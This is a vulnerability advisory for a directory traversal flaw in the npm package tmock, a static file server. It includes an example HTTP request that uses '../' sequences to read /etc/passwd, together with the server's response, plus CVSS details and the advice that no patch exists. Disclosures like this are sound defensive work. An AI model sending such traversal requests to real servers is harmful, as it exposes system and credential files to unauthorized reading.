High

Directory Traversal in tmock

  • Disclosed: 23.07.2018
  • Updated: 11.10.2026 10:22

tmock is a static file server.

tmock is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package tmock <= 0.0.7 no fix

References

CVSS score 7.5/10
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-22
Platform
npm
Package
tmock
Disclosed
23.07.2018
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-j6w4-pg6p-5mrv - CC BY 4.0

Vulnerability history: tmock

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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